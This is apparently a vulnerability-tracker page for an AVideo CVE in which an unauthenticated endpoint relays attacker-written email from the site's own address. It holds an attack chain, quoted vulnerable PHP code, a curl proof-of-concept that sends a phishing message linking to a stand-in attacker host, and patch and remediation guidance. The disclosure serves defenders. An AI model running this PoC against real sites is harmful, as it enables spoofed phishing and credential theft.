AVideo CVE-2026-43880
MEDIUMAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker obtains captcha challenge
-
DeliverySolves captcha manually or via bypass
-
ExploitCrafts POST request with email=victim address, contactForm parameter omitted
-
InstallSends request to /objects/sendEmail.json.php
-
C2Application validates captcha, User::getEmail_() returns empty
-
Execute$replyTo defaults to site's contact email
-
Impact$sendTo set to victim address
-
Step 8setFrom() uses site's address
-
Step 9PHPMailer relays message through site's SMTP
-
Step 10Message delivered to victim with spoofed From header
-
Step 11DKIM/SPF pass, message reaches inbox
-
Step 12Victim reads attacker-controlled body and clicks phishing link
-
Step 13Credential theft or compromise occurs
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V12 - Secure Communication Communication channel verification
|
| Exploitation Conditions | The vulnerability requires specific conditions: (1) the POST parameter contactForm must be omitted or empty - if contactForm=1 is supplied, the endpoint correctly routes the email to the site owner's address instead of an attacker-chosen recipient; (2) the attacker must solve the site's captcha (or exploit a separate captcha-bypass vulnerability noted in the advisory) - automated abuse requires circumventing this gate, but manual solution is feasible for targeted phishing campaigns; (3) the site must have SMTP configured with valid credentials and an outbound mail server reachable from the application server - default AVideo deployments typically configure SMTP during setup to enable password-reset and notification emails, but air-gapped or SMTP-less installations are not vulnerable; (4) the target email address must pass PHP's filter_var(..., FILTER_VALIDATE_EMAIL) validation - malformed addresses are rejected, but any RFC 5322-compliant email passes; (5) no authentication or CSRF token is required due to the explicit public allowlisting in functionsSecurity.php, so the attacker does not need to know any credentials or session tokens. Exploitation is NOT limited to specific product versions, deployment modes, or non-default configurations - it affects standard installations where SMTP is enabled (the norm after initial setup) and the endpoint is accessible via HTTP/HTTPS (also the norm). The vulnerability does not require any special privileges, user interaction from the victim (beyond opening the email, which is automatic), or non-default server settings; it only requires the attacker to have network access to the AVideo instance and the ability to solve a captcha. |
| Impact | CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates network-accessible exploitation with no complexity barriers and no privileges required, but limited scope to integrity (phishing content) and no direct confidentiality or availability impact. However, this CVSS underrepresents the real-world severity: the integrity impact is not isolated to the targeted system but extends to recipients and the site's brand reputation. The attack vector (N) and complexity (L) are accurately characterized - any attacker can reach the endpoint via HTTP POST with a solved captcha. Exploitation is confirmed by a publicly available proof-of-concept in the GitHub advisory; no KEV status provided, but the PoC demonstrates end-to-end phishing delivery from a test environment. The primary defense (captcha) is bypassable per the advisory itself (noting a separate captcha-bypass primitive in the codebase), reducing the practical barrier. No rate limiting, no sender validation, and no email verification requirements exist - an attacker can send hundreds of phishing emails with minimal friction. The absence of EPSS score in the provided data limits quantitative exploitation probability assessment, but the combination of AV:N, AC:L, no authentication, explicit public allowlisting, and PoC availability strongly suggests high real-world exploitability. The vulnerability is not hypothetical: it directly leverages the site's infrastructure to send mail that passes authentication checks, making it more dangerous than typical email spoofing primitives that fail DMARC on compromised domains. Risk is further amplified in multi-tenant or SaaS AVideo deployments where one instance's abuse can damage reputation across all hosted videos. |
| Exploit ScenarioDerived | An attacker visits the target AVideo site and obtains a fresh captcha token via curl against /captcha.php?refresh=1. After manually solving or programmatically bypassing the captcha (leveraging the noted separate bypass vulnerability), the attacker sends a POST request to /objects/sendEmail.json.php with captcha=<solved>, email=victim@bank.com, first_name=Support Team, and comment=<phishing instructions>. The contactForm parameter is deliberately omitted. The server's User::getEmail_() returns empty (attacker is unauthenticated), so $replyTo defaults to the site's legitimate contact email (e.g., contact@legit-videosite.com). setFrom() is called with this address, and PHPMailer routes the message through the site's configured SMTP server. The victim receives an email with From: contact@legit-videosite.com, Subject: Message From Site [SiteName] (Support Team), and attacker-controlled body text containing a credential-harvesting link. Because the mail originated from the site's SMTP infrastructure using the site's domain, SPF/DKIM/DMARC checks pass; the message arrives in the victim's inbox indistinguishable from legitimate site communications and bypasses common anti-phishing filters that flag spoofed domains. The victim clicks the attacker's link, enters credentials, and the attacker gains access to the victim's external service or social engineering vector succeeds. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
Unauthenticated arbitrary email sending via sendEmail.json.php allows remote attackers to send phishing emails from the site's legitimate sender address to arbitrary recipients by omitting the contactForm parameter, bypassing authentication and CSRF protections. The endpoint is explicitly allow-listed as a public write action and requires only a solved captcha, enabling an attacker to impersonate the site operator and send messages with forged From/Reply-To headers that pass SPF/DKIM/DMARC validation for the site's domain, ideal for targeted credential harvesting and brand impersonation attacks.
RemediationAI
Apply the vendor-released patch from commit 4e3709895857a5857f0edb46b0ee984de0d9e1a2, which adds an authentication gate if (empty($_POST['contactForm']) && !User::isLogged()) to reject unauthenticated access to the arbitrary-recipient branch and refactors setFrom() to always use the site's contact email for the non-contactForm path, reserving user-supplied addresses for Reply-To only. Alternatively, as an immediate compensating control, apply network-level access restrictions to block external POST requests to /objects/sendEmail.json.php or /sendEmail via firewall/WAF rules, limiting the endpoint to internal or authenticated subnet access; this mitigates external phishing abuse but does not address internal or compromised-credential scenarios. A more granular compensating control is to configure the SMTP gateway or Mail Transfer Agent (MTA) to strictly enforce DKIM/SPF signing only for a dedicated no-reply@ address and reject outbound mail that attempts to set From to arbitrary administrative addresses, but this requires infrastructure cooperation and does not prevent the vulnerability from being exploited if the attacker controls the allowed sending address. Immediately disable or remove the vulnerable endpoint if the site does not actively use the email-sharing feature (check view/.../functiongetShareMenu.php for UI presence); if sharing functionality is required, restrict it to authenticated users only via the patch. Monitor SMTP logs and mail gateway records for a spike in outbound mail volume, unexpected recipient patterns, or From headers matching the site's contact address with incongruent subject/body content; these are indicators of active exploitation.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
AVideo's sendEmail.json.php endpoint implements two distinct message routing branches controlled by the presence of a contactForm POST parameter. The vulnerable code path occurs when contactForm is omitted: User::getEmail_() returns an empty string for unauthenticated callers, triggering a fallback in line 31-32 that sets $replyTo to $config->getContactEmail() (the site's own contact address). Simultaneously, the attacker-supplied $_POST['email'] is assigned directly to $sendTo without verification of sender authorization. PHPMailer is then configured with $mail->setFrom($replyTo) and $mail->addAddress($sendTo), where $replyTo contains the site's legitimate address and $sendTo contains the attacker's chosen victim. The endpoint is explicitly whitelisted in objects/functionsSecurity.php (lines 879-918) as a built-in public write action, bypassing both CSRF token validation and authentication checks. CWE-940 (Improper Verification of Source of a Communication Channel) manifests as the failure to verify that the caller is authorized to send mail to arbitrary recipients on behalf of the site; the code assumes that controlling the From address implicitly grants mailing privileges to any address.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Primary rating from Vendor (https://github.com/WWBN/AVideo) · only source for this CVE.
CVSS VectorVendor: https://github.com/WWBN/AVideo
DescriptionCVE.org
Summary
objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a "public write action" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain - ideal for targeted phishing and brand impersonation.
Details
Vulnerable code (objects/sendEmail.json.php):
10: $valid = Captcha::validation(@$_POST['captcha']);
11: if(User::isAdmin()){
12: $valid = true;
13: }
...
16: if ($valid) {
...
24: $mail = new \PHPMailer\PHPMailer\PHPMailer();
25: setSiteSendMessage($mail); // uses site's SMTP credentials
...
30: $replyTo = User::getEmail_();
31: if (empty($replyTo)) {
32: $replyTo = $config->getContactEmail(); // <-- FALLBACK to site's own email
33: }
34:
35: $sendTo = $_POST['email']; // attacker-controlled recipient
36:
37: // if it is from contact form send the message to the siteowner and the sender is the email on the form field
38: if (!empty($_POST['contactForm'])) {
39: $replyTo = $_POST['email'];
40: $sendTo = $config->getContactEmail();
41: }
42:
43: if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {
44: $mail->AddReplyTo($replyTo); // site's address
45: $mail->setFrom($replyTo); // From: site's address
...
47: $mail->addAddress($sendTo); // TO: attacker-chosen victim
...
49: $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
50: $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})";
51: $mail->msgHTML($msg);
...
55: if (!$mail->send()) { ... }User::getEmail_() (objects/user.php:345-352): returns '' when the caller is not logged in, driving the fallback to $config->getContactEmail().
Endpoint is publicly callable. objects/functionsSecurity.php:879-918 lists sendEmail.json.php in the built-in "public write actions" CSRF/same-domain bypass:
static $builtinBypass = [
...
// Public write actions
'sendEmail.json.php',
...
];
if (in_array($baseName, $builtinBypass, true)) { return; }Why existing defenses don't mitigate the abuse:
- Captcha (
Captcha::validation): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse. FILTER_VALIDATE_EMAIL(line 43): validates$sendToformat, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.htmlspecialcharson$safeEmail/$safeComment/$safeFirstName: blocks HTML injection in the rendered message but does not prevent phishing content - attacker fully controls the visible text (URL, instructions) and the perceived sender.- No rate limiting, no auth check, no association between the caller and the recipient address.
Flow summary for the abuse case (unauthenticated, no contactForm):
User::getEmail_()→'', so$replyTo= site's contact email (line 32)$sendTo= attacker's chosen recipient (line 35)contactFormbranch skipped (line 38)- Site's SMTP sends
From: <site contact>to<victim>with attacker's subject/body (lines 44-51)
Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.
PoC
Endpoint: POST /objects/sendEmail.json.php (also reachable via POST /sendEmail per .htaccess:201).
# 1. Obtain a session + captcha image
curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png
# attacker manually solves the captcha -> e.g. 'abc123'
# 2. Send phishing email. Note: contactForm is OMITTED.
# - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email
# - $sendTo = attacker-chosen recipient
# - setFrom($replyTo) -> From: is the site's real address
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
--data-urlencode 'captcha=abc123' \
--data-urlencode 'email=victim@target.com' \
--data-urlencode 'first_name=Support Team' \
--data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'Expected server response:
{"error":"","success":"Message sent"}Delivered headers at victim@target.com:
From: <site's legitimate contact email, e.g. contact@legit-videosite.com>
Reply-To: <site's legitimate contact email>
To: victim@target.com
Subject: Message From Site <SiteName> (Support Team)
Body: <b>Email:</b> victim@target.com<br><br>Urgent: Your account will be suspended...Contrast with the intended contactForm=1 flow (correctly routes to the site owner):
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
--data-urlencode 'captcha=<newcaptcha>' \
--data-urlencode 'email=attacker@attacker.com' \
--data-urlencode 'comment=hi' \
--data-urlencode 'contactForm=1'
# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)Omitting contactForm inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.
Impact
- Phishing with the site's real sender identity. Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.
- Brand impersonation / account-takeover chains. Attacker-controlled subject (
first_name) and body (comment) support credential-harvesting pages that appear to come from the site operator. - Mail-reputation damage. Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.
- Works against any AVideo instance with SMTP configured - a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.
Recommended Fix
Collapse the endpoint to contact-owner-only behavior and require either authentication or contactForm=1. Minimal patch:
// objects/sendEmail.json.php
...
$valid = Captcha::validation(@$_POST['captcha']);
if (User::isAdmin()) {
$valid = true;
}
// Reject the non-contactForm branch for unauthenticated callers.
// The "share with a friend" flow already requires User::isLogged()
// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.
if (empty($_POST['contactForm']) && !User::isLogged()) {
$obj = new stdClass();
$obj->error = __("Authentication required");
header('Content-Type: application/json');
echo json_encode($obj);
exit;
}
$obj = new stdClass();
$obj->error = '';
if ($valid) {
...
$replyTo = User::getEmail_();
if (empty($replyTo)) {
// Should no longer be reachable for arbitrary recipients.
// Keep as defense-in-depth only for contactForm=1 path.
$replyTo = $config->getContactEmail();
}
...
}Additional hardening:
- Always use a dedicated
no-reply@address insetFrom(); put the caller's address only inReply-To. Never reuse$config->getContactEmail()as the From for user-initiated messages. - For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP.
- Drop the non-
contactFormbranch entirely if no legitimate unauthenticated UI caller remains. - Add a visible "user-submitted message via our site" banner to the email body so recipients can distinguish these from first-party communications.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-5hgj-7gm9-cff5
NVD
CVE.org
EPSS
Exploit-DB